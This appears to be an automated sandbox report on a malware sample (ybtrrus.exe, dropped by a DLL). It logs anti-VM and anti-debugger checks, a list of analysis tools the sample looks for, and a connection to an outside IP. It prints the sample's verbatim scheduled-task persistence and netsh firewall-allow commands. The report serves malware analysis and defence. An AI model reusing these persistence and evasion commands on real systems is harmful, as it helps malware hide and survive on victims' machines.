Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive battery information (via WMI, Win32_Battery, often done to detect virtual machines)
Source: C:\iDQiPwFWUp\ybtrrus.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Battery
Source: C:\pnVcakKiqh\ybtrrus.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Battery
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: PROCMON.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: PROCESSHACKER.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: HOOKEXPLORER.EXE
Source: ybtrrus.exe Binary or memory string: JOEBOXSERVER.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: AUTORUNSC.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: OLLYDBG.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: X64DBG.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: REGMON.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: WINDBG.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: AUTORUNS.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: IMPORTREC.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: PETOOLS.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: FIDDLER.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: SNIFF_HIT.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: PROC_ANALYZER.EXE
Source: ybtrrus.exe Binary or memory string: JOEBOXCONTROL.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: SYSANALYZER.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: IDAQ.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: DUMPCAP.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: WIRESHARK.EXE
Source: ybtrrus.exe, ybtrrus.exe, 0000001C.00000002.2657419183.00000000058B6000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000059C6000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.00000000055AA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: FILEMON.EXE
Found evasive API chain checking for process token information
Source: C:\iDQiPwFWUp\ybtrrus.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Found large amount of non-executed APIs
Source: C:\Windows\SysWOW64\rundll32.exe API coverage: 5.6 %
Source: C:\iDQiPwFWUp\ybtrrus.exe API coverage: 5.5 %
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\iDQiPwFWUp\ybtrrus.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Source: C:\pnVcakKiqh\ybtrrus.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT UUID FROM Win32_ComputerSystemProduct
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C831F00 CloseHandle,memset,FindFirstFileW,FindClose, 12_2_6C831F00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C8316F0 memcpy,memcpy,memset,FindFirstFileW,memcpy,GetLastError, 12_2_6C8316F0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE4C2D0 FindFirstFileW,GetLastError,FindNextFileW,GetLastError,FindFirstFileA,GetLastError,FindNextFileA,GetLastError, 28_2_6FE4C2D0
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_0545FB74 FindFirstFileW,FindClose, 28_2_0545FB74
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_0545F590 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW, 28_2_0545F590
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05467CC6 FindFirstFileW, 28_2_05467CC6
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05467DCE GetLogicalDriveStringsW, 28_2_05467DCE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C81EE1C GetSystemInfo,CreateFileMappingW,MapViewOfFile,VirtualAlloc,VirtualFree,UnmapViewOfFile,CloseHandle,CloseHandle, 12_2_6C81EE1C
Source: C:\Windows\System32\loaddll32.exe Thread delayed: delay time: 120000 Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_5080fa819e61b36dbd2b7e7e74bdf5c819fed0_7522e4b5_75dffb69-1a82-4980-a5db-ce9131bf24b7\ Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\ Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\ Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_fcdd551db92618d3725e94eeb7507dfc72111acd_7522e4b5_17fea6c8-cf23-47b2-9980-606d9795cdc0\ Jump to behavior
Source: ybtrrus.exe, 0000002F.00000002.2123620807.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}J
Source: ybtrrus.exe, 0000002F.00000002.2123620807.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}P@
Source: ybtrrus.exe, 0000002F.00000002.2123620807.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllOy6B
Source: rundll32.exe, 0000000C.00000003.1660572027.000000000311E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.1660600474.000000000311F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.1879646428.0000000003120000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000003.1879973902.0000000003120000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.1907789649.0000000003120000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll3
Source: rundll32.exe, 00000013.00000003.1712424926.0000000003060000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.1712264584.0000000003060000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.1962392544.0000000003060000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.1705368888.000000000305F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.1933713755.0000000003060000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.1705289741.000000000305E000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllT
Source: ybtrrus.exe, 0000001C.00000002.2650636704.0000000000E9D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllf
Source: ybtrrus.exe, 0000002F.00000002.2123620807.0000000000EBE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 0101a.zip.12.dr Binary or memory string: x3HgFs
Source: ybtrrus.exe, 00000021.00000002.2650668938.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllI
Source: ybtrrus.exe, 0000002F.00000002.2181132613.0000000006E3F000.00000002.00000001.01000000.00000009.sdmp Binary or memory string: 4HGFs
Source: C:\iDQiPwFWUp\ybtrrus.exe API call chain: ExitProcess graph end node
Source: C:\iDQiPwFWUp\ybtrrus.exe Process information queried: ProcessInformation
Checks if the current process is being debugged
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process queried: DebugPort Jump to behavior
Source: C:\iDQiPwFWUp\ybtrrus.exe Process queried: DebugPort
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C85599F IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_6C85599F
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C6927E0 DllMain,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 12_2_6C6927E0
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C85BA00 GetProcessHeap,HeapAlloc, 12_2_6C85BA00
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 12_2_6C85599F IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 12_2_6C85599F
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE59D73 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 28_2_6FE59D73
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE613E1 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,RtlUnwind, 28_2_6FE613E1
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_6FE5F0D4 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 28_2_6FE5F0D4
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 147.45.116.5 80 Jump to behavior
Contains functionality to launch a program with higher privileges
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05D5F500 ShellExecuteW, 28_2_05D5F500
Contains functionality to simulate keystroke presses
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05468F7E keybd_event, 28_2_05468F7E
Contains functionality to simulate mouse events
Source: C:\iDQiPwFWUp\ybtrrus.exe Code function: 28_2_05468F86 mouse_event, 28_2_05468F86
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\T8TY28UxiT.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\iDQiPwFWUp\ybtrrus.exe "C:\iDQiPwFWUp\ybtrrus.exe" Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\pnVcakKiqh\ybtrrus.exe "C:\pnVcakKiqh\ybtrrus.exe" Jump to behavior
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Query /TN "Boomer"
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C SCHTASKS /Create /F /RL HIGHEST /TN "Boomer" /TR "C:\iDQiPwFWUp\ybtrrus.exe" /SC ONLOGON /DELAY 0001:00
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\iDQiPwFWUp\ybtrrus.exe" enable=yes profile=any
Source: C:\pnVcakKiqh\ybtrrus.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Query /TN "Boomer"
Source: C:\pnVcakKiqh\ybtrrus.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\pnVcakKiqh\ybtrrus.exe" enable=yes profile=any
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /F /RL HIGHEST /TN "Boomer" /TR "C:\iDQiPwFWUp\ybtrrus.exe" /SC ONLOGON /DELAY 0001:00
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\iDQiPwFWUp\ybtrrus.exe" enable=yes profile=any
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /flushdns
Source: C:\iDQiPwFWUp\ybtrrus.exe Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Query /TN "Boomer"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="ybtrrus" dir=in action=allow program="C:\pnVcakKiqh\ybtrrus.exe" enable=yes profile=any
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /flushdns
Source: ybtrrus.exe, 0000001C.00000002.2691639077.00000000077EF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Manager!$
Source: ybtrrus.exe, 0000001C.00000002.2691639077.00000000077EF000.00000004.00001000.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2693218645.00000000077BF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: ybtrrus.exe, 00000021.00000002.2693218645.00000000077BF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program ManagerA"|
Source: ybtrrus.exe, 00000021.00000002.2693218645.00000000077BF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Manager!$|
Source: ybtrrus.exe, 00000021.00000002.2693218645.00000000077BF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Managerq"|
Source: ybtrrus.exe, 00000021.00000002.2697436058.000000000927B000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: Program Manager'X
Source: ybtrrus.exe, 0000001C.00000002.2695219573.000000000941B000.00000004.00000010.00020000.00000000.sdmp, ybtrrus.exe, 00000021.00000002.2697436058.000000000927B000.00000004.00000010.00020000.00000000.sdmp Binary or memory string: )Program Manager Chromexe)nWindowClass.0
Source: ybtrrus.exe, 0000001C.00000002.2657419183.0000000005FC5000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.00000000060D5000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.0000000005FAA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: Shell_TrayWndStartU
Source: ybtrrus.exe, 0000001C.00000002.2657419183.0000000005E66000.00000020.00000001.01000000.00000009.sdmp, ybtrrus.exe, 00000021.00000002.2657987949.0000000005F76000.00000020.00000001.01000000.0000000D.sdmp, ybtrrus.exe, 0000002F.00000002.2126788889.0000000005FAA000.00000020.00000001.01000000.00000009.sdmp Binary or memory string: Shell_TrayWndReBarWindow32MSTaskSwWClassToolbarWindow32U
Source: ybtrrus.exe, 0000001C.00000002.2691639077.00000000077EF000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: Program Managerq"
